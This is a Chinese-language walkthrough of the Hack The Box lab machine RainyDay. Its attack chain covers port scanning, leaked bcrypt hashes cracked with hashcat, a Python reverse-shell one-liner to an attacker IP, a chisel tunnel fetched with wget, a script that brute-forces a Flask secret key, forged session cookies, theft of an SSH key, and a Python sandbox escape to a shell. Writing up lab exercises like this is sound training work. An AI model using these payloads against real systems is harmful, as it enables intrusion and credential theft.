HTB靶机:RainyDay
HTB靶机:RainyDay
靶机信息:
这台靶机过程很复杂,我觉得在密码破解这块是个巨坑。
信息收集
端口扫描:
nmap -sC -sV -Pn 10.10.11.184或者我喜欢使用rustscan
rustscan -a 10.10.11.184 -- -sC -sV
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 8.9p1 Ubuntu 3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 48:dd:e3:61:dc:5d:58:78:f8:81:dd:61:72:fe:65:81 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBN7V52f3opQgMThQFMGLiVJwoyBGgoAofPCC7Ipup6ivu7cYi67jBYLzUZMbwpmTBtElMitUHbd+GzeNFJyR8n4=
| 256 ad:bf:0b:c8:52:0f:49:a9:a0:ac:68:2a:25:25:cd:6d (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPAoadmai/5+eCI0EoWpdjzBn8qCAQiPDlv2j5HDwv9h
80/tcp open http syn-ack nginx 1.18.0 (Ubuntu)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://rainycloud.htb
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
80
添加hosts访问网站,发现有登录口,但是不能注册。
echo '10.10.11.184 rainycloud.htb'|sudo tee -a /etc/hosts
在尝试注册失败后,有报错信息。从报错信息中知道网站路径和后端使用的是python
<!-- Sign In Form -->
<!-- RainyCloud-4: TODO - Remove debug errors from prod -->
<h4> Error - Login Incorrect! <!-- /var/www/rainycloud/./app.py:288 --></h4>
目录扫描:
dirsearch -u http://rainycloud.htb扫到一个有用的后台
/api
,然后得到了三个用户和hash。
gobuster dir -w /usr/share/SecLists/Discovery/Web-Content/common.txt -t 50 -u http://rainycloud.htb/api/user/ --exclude-length 3
curl "http://rainycloud.htb/api/user/1.0"
jack $2a$10$bit.DrTClexd4.wVpTQYb.FpxdGFNPdsVX8fjFYknhDwSxNJh.O.O
root $2a$05$x4nSvCqGHZBmBQnmNM2nXeWDzVvvsXaJiHsSv1pwZnxrcBFbOibZS
gary $2b$12$WTik5.ucdomZhgsX6U/.meSgr14LcpWXsCA0KxldEw8kksUtDuAuG
子域名扫描:
wfuzz -c -f subdomains.txt -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u "http://rainycloud.htb/" -H "Host: FUZZ.rainycloud.htb"发现一个
dev
的二级域名,并且响应码403
,很可疑
hash解密:
分别对收集到三个用户的hash进行爆破,成功爆出
gary
的密码rubberducky
hashcat -m 3200 爆破hash文件
登录网站
使用
gary
:rubberducky
成功登录,可以创建一个容器,并且可以使用python获取到反弹shell。
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.11",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'
建立代理隧道
前面信息收集中,获取到
dev
的二级域名但是403
,尝试建立代理,本地访问dev
域名添加本地hosts,访问
dev
。
127.0.0.1 dev.rainycloud.htb
# kali
./chisel server -p 9999 --reverse
# 靶机
cd tmp
wget http://10.10.14.4:1234/chisel
chmod +x chisel
./chisel client --max-retry-count=1 10.10.14.4:9999 R:8888:172.18.0.1:80
继续信息收集
发现
healthcheck
是个接口。观察这个接口支持POST方式提交数据,尝试通过fuzz
出一些信息。已知网站是python写的,所以存在SECRET_KEY
.这里可以爆破一下这个key.
#成功爆破出
key:f77dd59f50ba412fcfbd3e653f8f3f2ca97224dd53cf6304b4c86658a75d8f67
#测试
curl http://dev.rainycloud.htb:8888/api/healthcheck --cookie 'session=eyJ1c2VybmFtZSI6ImdhcnkifQ.Y1JbZA.RCHhYOthPhFW26BxJX0caJvfqXE' -d 'file=/etc/passwd&type=custom&pattern=^root.*'
#fuzz目录
wfuzz -c -z file,/usr/share/wordlists/dirb/common.txt -b 'eyJ1c2VybmFtZSI6ImdhcnkifQ.Y1JbZA.RCHhYOthPhFW26BxJX0caJvfqXE' -d 'file=/var/www/rainycloud/FUZZ.py&type=custom&pattern=^SECRET_KEY.*' --hc 500 http://dev.rainycloud.htb:8888/api/healthcheck
#获取key失败,尝试使用脚本爆破
curl http://dev.rainycloud.htb:8888/api/healthcheck --cookie 'eyJ1c2VybmFtZSI6ImdhcnkifQ.Y1JbZA.RCHhYOthPhFW26BxJX0caJvfqXE' -d 'ffile=/var/www/rainycloud/FUZZ.py&type=custom&pattern=^SECRET_KEY.*'
#爆破脚本
import string
import requests
import json
allchars = string.printable
cookies = {'session': 'eyJ1c2VybmFtZSI6ImdhcnkifQ.Y1EM7Q.dy6QQCPQQcCOEZn4a2aV_E-ZjwQ'}
s = requests.Session()
pattern = ""
while True:
for c in allchars:
try:
rsp = s.post('http://dev.rainycloud.htb:8888/api/healthcheck', {'file': '/var/www/rainycloud/secrets.py','type': 'custom','pattern':"^SECRET_KEY = '" + pattern + c + ".*"},
cookies=cookies)
if json.loads(rsp.content)['result']:
pattern += c
print(pattern)
break
else:
print(c)
except Exception:
print(rsp.content)
伪造cookie
有了
key
之后可以使用flask_session_cookie_manager3.py
伪造前面收集到jack
这个人的身份。更换cookie后,并且成功在jack
用户下获取反弹shell.
python3 flask_session_cookie_manager3.py encode -s f77dd59f50ba412fcfbd3e653f8f3f2ca97224dd53cf6304b4c86658a75d8f67
-t "{'username': 'jack'}"
获取用户权限
在进行提权
三把斧
后(ps:查进程,查权限,查敏感数据)发现有一个进程跑的cmd,进入该进程文件中,获取到jack
的ssh私钥。
./paspy64
私钥路径就是
/proc/进程PID/root/home/jack/.ssh
提权
发现jack可以以jack_adm身份运行指定程序,网上查找发现可以进行python沙盒逃逸
python沙盒逃逸
https://www.reelix.za.net/2021/04/the-craziest-python-sandbox-escape.html
().__class__.__mro__[1].__subclasses__()[144] -> warnings.catch_warnings
echo 'print(().__class__.__mro__[1].__subclasses__()[144].__init__.__globals__["__builtins__"]["__loader__"]().load_module("builtins").__import__("os").system("whoami"))' > /tmp/test && sudo -u jack_adm /usr/bin/safe_python /tmp/test
echo 'print(().__class__.__mro__[1].__subclasses__()[144].__init__.__globals__["__builtins__"]["__loader__"]().load_module("builtins").__import__("os").system("bash -i"))' > /tmp/test && sudo -u jack_adm /usr/bin/safe_python /tmp/test
sudo -l
echo 'print(().__class__.__mro__[1].__subclasses__()[144].__init__.__globals__["__builtins__"]["__loader__"]().load_module("builtins").__import__("os").system("bash -i"))' > /tmp/test && sudo -u jack_adm /usr/bin/safe_python /tmp/test
提权到
jack_adm
用户后,发现可以已``root用户执行
/opt/hash_system/hash_password.py`这个文件,猜测这个程序是加密的root用户hash。
$2b$05$tDH.R36LKQdRgx7ast19B.t5OyF/O4j5ZuEIU5QUzmQQZEBQhtLJ6
解密:
hashcat -m 3200 root_hash /usr/share/seclists/Passwords/Leaked-Databases/md5decryptor-uk.txt解密为
Sup3rDup3r
,但是尝试后显示不正确。
这个程序一个看起来是指定密码加salt后生成hash的程序,密码为空得到的hash破解出来salt,使用salt生成新字典破解前面在api/user那里得到的root hash。
这里想起来前面获取有root的hash,没爆出来,这里尝试后成功获取到root密码
246813579Sup3rDup3r
sed 's/$/Sup3rDup3r/' /usr/share/wordlists/rockyou.txt > newrockyou.txt
#
hashcat -m 3200 root2_hash newrockyou.txt
总结
这个靶机类似CTF那种风格,考点很多,感觉就是打了一场CTF.